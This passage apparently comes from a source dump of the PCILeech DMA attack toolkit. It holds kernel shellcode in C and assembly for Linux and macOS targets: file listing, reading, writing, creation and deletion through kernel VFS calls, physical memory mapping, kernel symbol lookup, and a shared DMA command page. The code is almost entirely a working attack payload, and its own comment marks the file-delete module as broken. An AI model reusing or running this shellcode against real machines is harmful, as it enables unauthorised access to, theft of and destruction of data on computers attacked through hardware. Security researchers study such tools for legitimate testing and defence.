\n\t\tpk->dataOut[1] = SysVCall(pfn2->iterate_dir_opt, hFile, &dce);\n\t} else if(pfn2->vfs_readdir_opt) {\n\t\t// use vfs_readdir (kernel <= 3.10)\n\t\tpk->dataOut[1] = SysVCall(pfn2->vfs_readdir_opt, hFile, WinCall, &dce);\n\t}\n\tSysVCall(pfn2->filp_close, hFile, NULL);\n\tSysVCall(pfn2->yield);\n\tVfsList_SetSizeTime(pk, pfn2, pop);\n\treturn STATUS_SUCCESS;\n}\n\nSTATUS VfsDelete(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)\n{\n\tUNREFERENCED_PARAMETER(pk);\n\tQWORD ptr, result = 1;\n\tif(pfn2->rm.sys_unlink) {\n\t\tresult = SysVCall(pfn2->rm.sys_unlink, pop->szFileName);\n\t} else if(pfn2->rm.getname_kernel && pfn2->rm.do_unlinkat) {\n\t\tptr = SysVCall(pfn2->rm.getname_kernel, pop->szFileName);\n\t\tresult = SysVCall(pfn2->rm.do_unlinkat, AT_FDCWD, ptr);\n\t} else if(pfn2->rm.getname && pfn2->rm.do_unlinkat) {\n\t\tptr = SysVCall(pfn2->rm.getname, pop->szFileName);\n\t\tresult = SysVCall(pfn2->rm.do_unlinkat, AT_FDCWD, ptr);\n\t}\n\treturn result ? STATUS_FAIL_ACTION : STATUS_SUCCESS;\n}\n\nSTATUS VfsRead(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)\n{\n\tQWORD hFile;\n\thFile = SysVCall(pfn2->filp_open, pop->szFileName, O_RDONLY | O_NOATIME, 0);\n\tif(hFile > 0xffffffff00000000) {\n\t\treturn STATUS_FAIL_FILE_CANNOT_OPEN;\n\t}\n\tpk->dataOutExtraLength = SysVCall((pfn2->kernel_read ? pfn2->kernel_read : pfn2->vfs_read), hFile, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax, &pop->offset);\n\tSysVCall(pfn2->filp_close, hFile, NULL);\n\treturn (pk->dataOutExtraLength <= pk->dataOutExtraLengthMax) ? STATUS_SUCCESS : STATUS_FAIL_ACTION;\n}\n\nSTATUS VfsWrite(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)\n{\n\tUNREFERENCED_PARAMETER(pk);\n\tQWORD hFile, flags = 0, result;\n\tflags |= O_WRONLY | O_NOATIME;\n\tflags |= (pop->flags & VFS_FLAGS_TRUNCATE_ON_WRITE) ? O_TRUNC : 0;\n\tflags |= (pop->flags & VFS_FLAGS_APPEND_ON_WRITE) ? O_APPEND : 0;\n\thFile = SysVCall(pfn2->filp_open, pop->szFileName, flags, 0);\n\tif(hFile > 0xffffffff00000000) {\n\t\treturn STATUS_FAIL_FILE_CANNOT_OPEN;\n\t}\n\tresult = SysVCall((pfn2->kernel_write ? pfn2->kernel_write : pfn2->vfs_write), hFile, pop->pb, pop->cb, &pop->offset);\n\tSysVCall(pfn2->filp_close, hFile, NULL);\n\treturn result ? STATUS_FAIL_ACTION : STATUS_SUCCESS;\n}\n\nSTATUS VfsCreate(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)\n{\n\tUNREFERENCED_PARAMETER(pk);\n\tQWORD hFile;\n\thFile = SysVCall(pfn2->filp_open, pop->szFileName, O_CREAT | O_WRONLY | O_TRUNC, 0x1ff /*-rwxrwxrwx*/);\n\tif(hFile > 0xffffffff00000000) {\n\t\treturn STATUS_FAIL_FILE_CANNOT_OPEN;\n\t}\n\tSysVCall(pfn2->filp_close, hFile, NULL);\n\treturn STATUS_SUCCESS;\n}\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n\tPVFS_OPERATION pop;\n\tFN2 fn2;\n\t// initialize kernel functions\n\tif(!LookupFunctions2(pk, &fn2)) {\n\t\tpk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;\n\t\treturn;\n\t}\n\t// setup references to in/out data and check validity\n\tpop = (PVFS_OPERATION)(pk->DMAAddrVirtual + pk->dataInExtraOffset);\n\tif((pk->dataInExtraLength < sizeof(VFS_OPERATION)) || (pop->magic != VFS_OP_MAGIC) || (pop->flags & VFS_FLAGS_UNICODE)) {\n\t\tpk->dataOut[0] = STATUS_FAIL_SIGNATURE_NOT_FOUND;\n\t\treturn;\n\t}\n\t// take action\n\tif(pop->op == VFS_OP_CMD_LIST_DIRECTORY) {\n\t\tpk->dataOut[0] = VfsList(pk, &fn2, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_READ) {\n\t\tpk->dataOut[0] = VfsRead(pk, &fn2, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_WRITE) {\n\t\tpk->dataOut[0] = VfsWrite(pk, &fn2, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_CREATE) {\n\t\tpk->dataOut[0] = VfsCreate(pk, &fn2, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_DELETE) {\n\t\tpk->dataOut[0] = VfsDelete(pk, &fn2, pop);\n\t\treturn;\n\t}\n}\n"
  },
  {
    "path": "pcileech_shellcode/macos_common.c",
    "content": "// macos_common.c : support functions used by macOS KMDs started by stage3 EXEC.\n// Compatible with macOS.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\n#include \"macos_common.h\"\n\n//-------------------------------------------------------------------------------\n// EFI related defines below.\n//-------------------------------------------------------------------------------\n\ntypedef struct PE_state {\n\tQWORD initialized;\n\tQWORD video_dummy[18];\n\tPVOID deviceTreeHead;\n\tPVOID bootArgs;\n} PE_state_t, *PPE_state_t;\n\nenum {\n\tEfiReservedMemoryType = 0,\n\tEfiLoaderCode = 1,\n\tEfiLoaderData = 2,\n\tEfiBootServicesCode = 3,\n\tEfiBootServicesData = 4,\n\tEfiRuntimeServicesCode = 5,\n\tEfiRuntimeServicesData = 6,\n\tEfiConventionalMemory = 7,\n\tEfiUnusableMemory = 8,\n\tEfiACPIReclaimMemory = 9,\n\tEfiACPIMemoryNVS = 10,\n\tEfiMemoryMappedIO = 11,\n\tEfiMemoryMappedIOPortSpace = 12,\n\tEfiPalCode = 13,\n\tEfiMaxMemoryType = 14\n};\n\ntypedef struct tdEFI_MEMORY_RANGE {\n\tDWORD Type;\n\tDWORD Pad;\n\tQWORD PhysicalStart;\n\tQWORD VirtualStart;\n\tQWORD NumberOfPages;\n\tQWORD Attribute;\n} EFI_MEMORY_RANGE, *PEFI_MEMORY_RANGE;\n\n#define BOOT_LINE_LENGTH        1024\n\ntypedef struct tdBOOT_ARGS {\n\tQWORD RevisionAndVersion;\n\tCHAR  CommandLine[BOOT_LINE_LENGTH]; // Passed in command line \n\tDWORD MemoryMap; // Physical address of memory map \n\tDWORD MemoryMapSize;\n\tDWORD MemoryMapDescriptorSize;\n\tDWORD MemoryMapDescriptorVersion;\n\t// truncated struct members exists\n} BOOT_ARGS, *PBOOT_ARGS;\n\n//-------------------------------------------------------------------------------\n// Kernel module functions below.\n//-------------------------------------------------------------------------------\n\nBOOL GetMemoryMap(PKMDDATA pk, PBYTE pbBuffer4k_PhysicalMemoryRange, PQWORD pcbBuffer4k_PhysicalMemoryRange)\n{\n\tPBOOT_ARGS ba = ((PPE_state_t)pk->fn._PE_state)->bootArgs;\n\tPEFI_MEMORY_RANGE pEFIr;\n\tPPHYSICAL_MEMORY_RANGE pmr;\n\tQWORD cPmr = 0, o = 0;\n\tSysVCall(pk->fn.memset, pbBuffer4k_PhysicalMemoryRange, 0ULL, 4096ULL);\n\tpmr = (PPHYSICAL_MEMORY_RANGE)pbBuffer4k_PhysicalMemoryRange;\n\twhile(o < ba->MemoryMapSize) {\n\t\tpEFIr = (PEFI_MEMORY_RANGE)(VM_MIN_KERNEL_ADDRESS + ba->MemoryMap + o);\n\t\tif(pEFIr->Type < EfiMaxMemoryType && pEFIr->Type != EfiReservedMemoryType && pEFIr->Type != EfiUnusableMemory && pEFIr->Type != EfiMemoryMappedIO && pEFIr->Type != EfiMemoryMappedIOPortSpace) {\n\t\t\tif(cPmr && (pEFIr->PhysicalStart == pmr[cPmr - 1].BaseAddress + pmr[cPmr - 1].NumberOfBytes)) {\n\t\t\t\tpmr[cPmr - 1].NumberOfBytes += pEFIr->NumberOfPages * 0x1000;\n\t\t\t} else {\n\t\t\t\tpmr[cPmr].BaseAddress = pEFIr->PhysicalStart;\n\t\t\t\tpmr[cPmr].NumberOfBytes = pEFIr->NumberOfPages * 0x1000;\n\t\t\t\tcPmr++;\n\t\t\t}\n\t\t}\n\t\to += ba->MemoryMapDescriptorSize;\n\t}\n\t*pcbBuffer4k_PhysicalMemoryRange = cPmr * sizeof(PHYSICAL_MEMORY_RANGE);\n\treturn TRUE;\n}\n\nQWORD MapMemoryPhysical(PKMDDATA pk, QWORD qwMemoryBase)\n{\n\tfor(DWORD i = 0; i < 512 * 8; i++) { // PT*8 -> Pages (16MB)\n\t\t((PQWORD)(pk->ReservedKMD[0] + 0x2000))[i] = 0x0000000000000003 | (qwMemoryBase + 0x1000 * i);\n\t}\n\tPageFlush();\n\treturn 0xffffee8000000000;\n}\n\nBOOL IsRangeInPhysicalMap(PBYTE pbMemoryRanges, QWORD cbMemoryRanges, QWORD qwBaseAddress, QWORD qwNumberOfBytes)\n{\n\tPPHYSICAL_MEMORY_RANGE ppmr;\n\tfor(QWORD i = 0; i < cbMemoryRanges / sizeof(PHYSICAL_MEMORY_RANGE); i++) {\n\t\tppmr = ((PPHYSICAL_MEMORY_RANGE)pbMemoryRanges) + i;\n\t\tif(((ppmr->BaseAddress <= qwBaseAddress) && (ppmr->BaseAddress + ppmr->NumberOfBytes > qwBaseAddress + qwNumberOfBytes))) {\n\t\t\treturn TRUE;\n\t\t}\n\t}\n\treturn FALSE;\n}\n\nQWORD GetMemoryPhysicalMaxAddress(PBYTE pbMemoryRanges, QWORD cbMemoryRanges)\n{\n\tPPHYSICAL_MEMORY_RANGE pMemMap = (PPHYSICAL_MEMORY_RANGE)pbMemoryRanges;\n\tQWORD cMemMap = cbMemoryRanges / sizeof(PHYSICAL_MEMORY_RANGE);\n\treturn pMemMap[cMemMap - 1].BaseAddress + pMemMap[cMemMap - 1].NumberOfBytes;\n}\n\n\nBOOL _WriteLargeOutput_WaitForAck(PKMDDATA pk)\n{\n\tPEXEC_IO pis = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_IS);\n\tPEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);\n\twhile((pk->_op == KMD_CMD_EXEC_EXTENDED) && ((pis->magic != EXEC_IO_MAGIC) || (!pis->bin.fCompletedAck && (pis->bin.seqAck != pos->bin.seq)))) {\n\t\tSysVCall(pk->fn.IOSleep, 25);\n\t}\n\treturn (pk->_op == KMD_CMD_EXEC_EXTENDED) && !pis->bin.fCompletedAck;\n}\n\nBOOL WriteLargeOutput_WaitNext(PKMDDATA pk)\n{\n\tPEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);\n\tpos->magic = EXEC_IO_MAGIC;\n\tCacheFlush();\n\tpos->bin.seq++;\n\tpk->_op = KMD_CMD_EXEC_EXTENDED;\n\treturn _WriteLargeOutput_WaitForAck(pk);\n}\n\nVOID WriteLargeOutput_Finish(PKMDDATA pk)\n{\n\tPEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);\n\tWriteLargeOutput_WaitNext(pk);\n\tpk->dataOutExtraLength = 0;\n\tCacheFlush();\n\tpos->bin.fCompleted = TRUE;\n\tpos->bin.seq++;\n\t_WriteLargeOutput_WaitForAck(pk);\n\tpk->_op = KMD_CMD_EXEC;\n}\n"
  },
  {
    "path": "pcileech_shellcode/macos_common.h",
    "content": "// macos_common.h : definitions of commonly used shellcode functions\n// Compatible with macOS.\n//\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\n#ifndef __MACOS_COMMON_H__\n#define __MACOS_COMMON_H__\n\n#include \"statuscodes.h\"\n\ntypedef void\t\t\t\t\tVOID, *PVOID;\ntypedef int\t\t\t\t\t\tBOOL, *PBOOL;\ntypedef unsigned char\t\t\tBYTE, *PBYTE;\ntypedef char\t\t\t\t\tCHAR, *PCHAR;\ntypedef unsigned short\t\t\tWCHAR, *PWCHAR;\ntypedef unsigned short\t\t\tWORD, *PWORD;\ntypedef unsigned long\t\t\tDWORD, *PDWORD;\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\ntypedef void\t\t\t\t\t*HANDLE;\n#define NULL\t\t\t\t\t((void *)0)\n#define MAX_PATH\t\t\t\t260\n#define TRUE\t\t\t\t\t1\n#define FALSE\t\t\t\t\t0\n#define UNREFERENCED_PARAMETER(P) (P)\n\ntypedef unsigned long\t\t\tSTATUS;\n\nextern QWORD SysVCall(QWORD fn, ...);\nextern QWORD LookupFunctionMacOS(QWORD qwAddrKernelBase, CHAR szFunctionName[]);\nextern VOID PageFlush();\nextern QWORD GetCR3();\nextern VOID CacheFlush();\n\n//-------------------------------------------------------------------------------\n// General definitions below.\n//-------------------------------------------------------------------------------\n\n#define VM_MIN_KERNEL_ADDRESS\t\t\t\t0xFFFFFF8000000000UL\n#define VM_MIN_PHYSICALMAPPING_ADDRESS\t\t0xFFFFEE8000000000UL\n\ntypedef struct tdPHYSICAL_MEMORY_RANGE {\n\tQWORD BaseAddress;\n\tQWORD NumberOfBytes;\n} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;\n\ntypedef struct tdFNMACOS { // function pointers to macOS functions (used in main control program)\n\tQWORD _kernel_map;\n\tQWORD _PE_state;\n\tQWORD IOFree;\n\tQWORD IOFreeContiguous;\n\tQWORD IOMalloc;\n\tQWORD IOMallocContiguous;\n\tQWORD IOSleep;\n\tQWORD memcmp;\n\tQWORD memcpy;\n\tQWORD memset;\n\tQWORD vm_protect;\n\tQWORD ReservedFutureUse[21];\n} FNMACOS, *PFNMACOS;\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n\tQWORD MAGIC;\t\t\t\t\t// [0x000] magic number 0x0ff11337711333377.\n\tQWORD AddrKernelBase;\t\t\t// [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n\tQWORD AddrKallsymsLookupName;\t// [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n\tQWORD DMASizeBuffer;\t\t\t// [0x018] size of DMA buffer.\n\tQWORD DMAAddrPhysical;\t\t\t// [0x020] physical address of DMA buffer.\n\tQWORD DMAAddrVirtual;\t\t\t// [0x028] virtual address of DMA buffer.\n\tQWORD _status;\t\t\t\t\t// [0x030] status of operation\n\tQWORD _result;\t\t\t\t\t// [0x038] result of operation TRUE|FALSE\n\tQWORD _address;\t\t\t\t\t// [0x040] address to operate on.\n\tQWORD _size;\t\t\t\t\t// [0x048] size of operation / data in DMA buffer.\n\tQWORD OperatingSystem;\t\t\t// [0x050] operating system type\n\tQWORD ReservedKMD[8];\t\t\t// [0x058] reserved for specific kmd data (dependant on KMD version).\n\tQWORD ReservedFutureUse1[13];\t// [0x098] reserved for future use.\n\tQWORD dataInExtraLength;\t\t// [0x100] length of extra in-data.\n\tQWORD dataInExtraOffset;\t\t// [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataInExtraLengthMax;\t\t// [0x110] maximum length of extra in-data. \n\tQWORD dataInConsoleBuffer;\t\t// [0x118] physical address of 1-page console buffer.\n\tQWORD dataIn[28];\t\t\t\t// [0x120]\n\tQWORD dataOutExtraLength;\t\t// [0x200] length of extra out-data.\n\tQWORD dataOutExtraOffset;\t\t// [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataOutExtraLengthMax;\t// [0x210] maximum length of extra out-data. \n\tQWORD dataOutConsoleBuffer;\t\t// [0x218] physical address of 1-page console buffer.\n\tQWORD dataOut[28];\t\t\t\t// [0x220]\n\tFNMACOS fn;\t\t\t\t\t\t// [0x300] used by shellcode to store function pointers.\n\tCHAR dataInStr[MAX_PATH];\t\t// [0x400] string in-data\n\tCHAR ReservedFutureUse2[252];\n\tCHAR dataOutStr[MAX_PATH];\t\t// [0x600] string out-data\n\tCHAR ReservedFutureUse3[252];\n\tQWORD ReservedFutureUse4[255];\t// [0x800]\n\tQWORD _op;\t\t\t\t\t\t// [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\n#define EXEC_IO_MAGIC\t\t\t\t\t0x12651232dfef9521\n#define EXEC_IO_CONSOLE_BUFFER_SIZE\t\t0x800\n#define EXEC_IO_DMAOFFSET_IS\t\t\t0x80000\n#define EXEC_IO_DMAOFFSET_OS\t\t\t0x81000\ntypedef struct tdEXEC_IO {\n\tQWORD magic;\n\tstruct {\n\t\tQWORD cbRead;\n\t\tQWORD cbReadAck;\n\t\tQWORD Reserved[10];\n\t\tBYTE  pb[800];\n\t} con;\n\tstruct {\n\t\tQWORD seq;\n\t\tQWORD seqAck;\n\t\tQWORD fCompleted;\n\t\tQWORD fCompletedAck;\n\t} bin;\n\tQWORD Reserved[395];\n} EXEC_IO, *PEXEC_IO;\n\n//-------------------------------------------------------------------------------\n// Function definitions below.\n//-------------------------------------------------------------------------------\n\n/*\n* Checks whether the qwBaseAddress+qwNumberOfBytes range is completely inside a\n* valid range inside the memory map.\n* -- pbMemoryRanges = address of the memory map.\n* -- cbMemoryRanges = byte count of the memory map.\n* -- qwBaseAddress = base address if range to verify.\n* -- qwNumberOfBytes = byte count of the range to verify.\n* -- return = TRUE (range in map) / FALSE (range not in map)\n*\n*/\nBOOL IsRangeInPhysicalMap(PBYTE pbMemoryRanges, QWORD cbMemoryRanges, QWORD qwBaseAddress, QWORD qwNumberOfBytes);\n\n/*\n* Retrieve the EFI map and place the usable chunks in the supplied buffer.\n* The chunks are in the format of PHYSICAL_MEMORY_RANGE.\n* -- pk\n* -- pbBuffer4k_PhysicalMemoryRange = buffer to place result in.\n* -- pcbBuffer4k_PhysicalMemoryRange = bytes written to buffer.\n* -- return = TRUE/FALSE\n*/\nBOOL GetMemoryMap(PKMDDATA pk, PBYTE pbBuffer4k_PhysicalMemoryRange, PQWORD pcbBuffer4k_PhysicalMemoryRange);\n\n/*\n* Map a maximum of 16MB physical memory starting at qwMemoryBase. The physical\n* memory is mapped onto the virtual address 0xFFFFEE8000000000.\n* -- pk\n* -- qwMemoryBase = physical page aligned base address to map to virtual space.\n* -- return = 0xFFFFEE8000000000 (mapped virtual address)\n*/\nQWORD MapMemoryPhysical(PKMDDATA pk, QWORD qwMemoryBase);\n\n/*\n* Retrive the maximum physical memory address in the system.\n* -- pbMemoryRanges = address of the memory map.\n* -- cbMemoryRanges = byte count of the memory map.\n* -- return = the maximum memory address.\n*/\nQWORD GetMemoryPhysicalMaxAddress(PBYTE pbMemoryRanges, QWORD cbMemoryRanges);\n\n/*\n* If a large output is to be written to PCILeech which won't fit in the DMA\n* buffer - write as much as possible in the DMA buffer and then call this fn.\n* When returned successfully write another chunk to this buffer and call again.\n* WriteLargeOutput_Finish must be called after all data is written to clean up.\n* -- pk\n* -- return\n*/\nBOOL WriteLargeOutput_WaitNext(PKMDDATA pk);\n\n/*\n* Clean up function that must be called if WriteLargeOutput_WaitNext has\n* previously been called.\n* -- pk\n*/\nVOID WriteLargeOutput_Finish(PKMDDATA pk);\n\n#endif /* __MACOS_COMMON_H__ */"
  },
  {
    "path": "pcileech_shellcode/macos_common_a.asm",
    "content": "; macos_common_a.asm : assembly to receive execution from stage3 exec command.\n; Compatible with macOS.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n; -------------------------------------\n; Prototypes\n; -------------------------------------\nmain PROTO\nLookupFunctionMacOS PROTO\nSysVCall PROTO\nPageFlush PROTO\nGetCR3 PROTO\nEXTRN c_EntryPoint:NEAR\n\n; -------------------------------------\n; Code\n; -------------------------------------\n.CODE\n\nmain PROC\n\tPUSH rsi\n\tMOV rsi, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 020h\n\tCALL c_EntryPoint\n\tMOV rsp, rsi\n\tPOP rsi\n\tRET\nmain ENDP\n\n; ----------------------------------------------------\n; TRIVIAL VERSION OF STRCMP\n; destroyed registers :: <none>\n; rdi -> ptr to str1\n; rsi -> ptr to str2\n; rax <- 0 == success, !0 == fail\n; ----------------------------------------------------\nstrcmp_simple PROC\n\tPUSH rcx\n\tXOR rcx, rcx\n\tDEC rcx\n\tloop_strcmp:\n\tINC rcx\n\tMOV al, [rdi+rcx]\n\tCMP al, [rsi+rcx]\n\tJNE error\n\tCMP al, 0\n\tJNE loop_strcmp\n\tXOR rax, rax\n\tPOP rcx\n\tRET\n\terror:\n\tMOV al, 1\n\tPOP rcx\n\tRET\nstrcmp_simple ENDP\n\n; ----------------------------------------------------\n; LOCATE THE __LINKEDIT END ADDRESS BY SEARCHING THE MACH-O HEADER.\n; destroyed registers :: rcx\n; rdi -> macho_header address\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nmacho_parse_find_linkedit_end_addr PROC\n\tMOV eax, 0FEEDFACFh\t\t\t; mach_header_64 magic\n\tCMP eax, [rdi]\n\tJNE error\n\tMOV eax, 01000007h\t\t\t; mach_header_64 cputype\n\tCMP eax, [rdi+4]\n\tJNE error\n\n\tXOR rcx, rcx\n\tMOV rax, 044454B4E494C5F5Fh\t\t; __LINKED\n\tloop_search_linkedit:\n\tCMP rax, [rdi+rcx]\n\tJE success_search_linkedit\n\tADD rcx, 4\n\tCMP rcx, 2000h\n\tJE error\n\tJMP loop_search_linkedit\n\n\tsuccess_search_linkedit:\n\tMOV rax, [rdi+rcx+10h]\n\tADD rax, [rdi+rcx+18h]\n\tRET\n\n\terror:\n\tXOR rax, rax\n\tRET\nmacho_parse_find_linkedit_end_addr ENDP\n\n; ----------------------------------------------------\n; parse mach-o header to find symtab location.\n; NB! no sanity checks performed !!!\n; destroyed registers :: rcx\n; rdi -> macho_header address\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nmacho_parse_find_symtab PROC\n\tMOV rcx, rdi\n\tADD rcx, 20h\n\t\n\tloop_search_symtab:\n\tMOV eax, 2\n\tCMP [rcx], eax\n\tJE success_search_symtab\n\tMOV eax, [rcx+4]\n\tADD rcx, rax\n\tJMP loop_search_symtab\n\t\n\tsuccess_search_symtab:\n\tMOV rax, rcx\n\tRET\nmacho_parse_find_symtab ENDP\n\n; ----------------------------------------------------\n; FIND EXPORTED SYMBOL IN THE MACOS-X KERNEL IMAGE\n; Function parses the MACH-O header. The symbol string section\n; is located at the end of the __LINKEDIT segment. The function\n; table is located just before the symbol string section at the\n; end of __LINKEDIT. The size of the function table is found in\n; the symtab in the mach-o header.\n; destroyed registers :: rcx, r8, r9\n; rcx -> rdi -> macho_header address\n; rdx -> rsi -> ptr to function name\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nLookupFunctionMacOS PROC\n\t; ecx = counter\n\t; r8  = symtab_command address\n\t; r9  = symbol_table_current address\n\t; r10 = string_table_address\n\tPUSH r10\n\tPUSH rdi\n\tPUSH rsi\n\tMOV rdi, rcx\n\tMOV rsi, rdx\n\n\tCALL macho_parse_find_symtab\n\tMOV r8, rax\n\tCALL macho_parse_find_linkedit_end_addr\n\tMOV r9, rax\n\tMOV eax, [r8+14h]\t\t; symtab_command->strsize\n\tSUB r9, rax\n\tMOV r10, r9\n\n\t; SET UP LOOP\n\tMOV ecx, [r8+0Ch]\t\t; symtab_command->nsyms\n\t\n\tfinder_loop:\n\tSUB r9, 10h\n\tMOV rax, [r9+08h]\n\tSHR rax, 32\n\tCMP eax, 0ffffff80h\n\tJNE finder_loop_next_or_exit\n\n\tMOV edi, [r9]\n\tADD rdi, r10\n\tCALL strcmp_simple\n\tCMP rax, 0\n\tJE finder_loop_success\n\n\tfinder_loop_next_or_exit:\n\tLOOP finder_loop\n\tXOR rax, rax\n\tPOP rsi\n\tPOP rdi\n\tPOP r10\n\tRET\n\n\tfinder_loop_success:\n\tMOV rax, [r9+08h]\n\tPOP rsi\n\tPOP rdi\n\tPOP r10\n\tRET \nLookupFunctionMacOS ENDP\n\nPageFlush PROC\n\tMOV rax, cr3\n\tMOV cr3, rax\n\tRET\nPageFlush ENDP\n\nGetCR3 PROC\n\tMOV rax, cr3\n\tRET\nGetCR3 ENDP\n\n; ------------------------------------------------------------------\n; Convert from the Windows X64 calling convention to the SystemV\n; X64 calling convention used by Linux. A maximum of twelve (12)\n; parameters in addition to the function ptr can be supplied.\n; QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5);\n; QWORD SysVCall(QWORD fn, ...);\n; ------------------------------------------------------------------\nSysVCall PROC\n\tMOV rax, rcx\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH r14\n\tPUSH r15\n\tMOV rdi, rdx\n\tMOV rsi, r8\n\tMOV rdx, r9\n\tMOV rcx, [rsp+28h+4*8+00h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset\n\tMOV r8,  [rsp+28h+4*8+08h]\n\tMOV r9,  [rsp+28h+4*8+10h]\n\tMOV r15, rsp\n\tMOV r14, [rsp+28h+4*8+40h] ; 20h stack shadow space + 8h (RET) + 3*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+5*8+38h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+6*8+30h] ; 20h stack shadow space + 8h (RET) + 5*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+7*8+28h] ; 20h stack shadow space + 8h (RET) + 6*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+8*8+20h] ; 20h stack shadow space + 8h (RET) + 7*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+9*8+18h] ; 20h stack shadow space + 8h (RET) + 8*8h PUSH + xxh offset\n\tPUSH r14\n\tCALL rax\n\tMOV rsp, r15\n\tPOP r15\n\tPOP r14\n\tPOP rsi\n\tPOP rdi\n\tRET\nSysVCall ENDP\n\n; ----------------------------------------------------\n; Flush the CPU cache.\n; ----------------------------------------------------\nCacheFlush PROC\n\tWBINVD\n\tRET\nCacheFlush ENDP\n\nEND"
  },
  {
    "path": "pcileech_shellcode/macos_filedelete.c",
    "content": "// ax64_filedelete.c : kernel code to delete files on target system.\n// Compatible with Apple OS X.\n//\n// TODO: THIS IS CURRENTLY BROKEN! FIX THIS!!!\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_filedelete.c\n// ml64.exe ax64_common_a.asm /Feax64_filedelete.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main ax64_filedelete.obj ax64_common.obj\n// shellcode64.exe -o ax64_filedelete.exe \"DELETE FILES ON TARGET SYSTEM                                  \\nAPPLE OS X EDITION                                             \\n===============================================================\\nDelete a specified file on the target system.                  \\nREQUIRED OPTIONS:                                              \\n  -s   : file on target system.                                \\n         Example: '-s /tmp/file2delete'                        \\n  -0   : run flag - set to non zero to push file.              \\n===== DETAILED RESULT INFORMATION =============================\\nFILE NAME     : %s\\nRESULT CODE   : 0x%08X\\n===============================================================\"\n//\n#include \"macos_common.h\"\n\n#define CONFIG_MAX_FILESIZE\t\t0x180000 // 1.5MB\n\ntypedef struct tdFN2 {\n\tQWORD vnode_lookup;\n\tQWORD vnode_getparent;\n\tQWORD vnode_parent;\n\tQWORD vnode_put;\n\tQWORD VNOP_READ;\n\tQWORD VNOP_OPEN;\n\tQWORD VNOP_REMOVE;\n\tQWORD uio_addiov;\n\tQWORD uio_resid;\n\tQWORD vfs_context_current;\n\tQWORD uio_create;\n\tQWORD uio_free;\n\tQWORD strlen;\n} FN2, *PFN2;\n\ntypedef struct componentname {\n\t/*\n\t* Arguments to lookup.\n\t*/\n\tDWORD\tcn_nameiop;\t/* lookup operation */\n\tDWORD\tcn_flags;\t/* flags (see below) */\n#ifdef BSD_KERNEL_PRIVATE\n\tvfs_context_t\tcn_context;\n\tstruct nameidata *cn_ndp;\t/* pointer back to nameidata */\n\n\t\t\t\t\t\t\t\t/* XXX use of these defines are deprecated */\n#define\tcn_proc\t\t(cn_context->vc_proc + 0)\t/* non-lvalue */\n#define\tcn_cred\t\t(cn_context->vc_ucred + 0)\t/* non-lvalue */\n\n#else\n\tvoid * cn_reserved1;\t/* use vfs_context_t */\n\tvoid * cn_reserved2;\t/* use vfs_context_t */\n#endif\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t* Shared between lookup and commit routines.\n\t\t\t\t\t\t\t*/\n\tchar\t*cn_pnbuf;\t/* pathname buffer */\n\tint\tcn_pnlen;\t/* length of allocated buffer */\n\tchar\t*cn_nameptr;\t/* pointer to looked up name */\n\tint\tcn_namelen;\t/* length of looked up component */\n\tDWORD\tcn_hash;\t/* hash value of looked up name */\n\tDWORD\tcn_consume;\t/* chars to consume in lookup() */\n} COMPONENTNAME;\n\nBOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {\n\tpfn2->vnode_lookup = 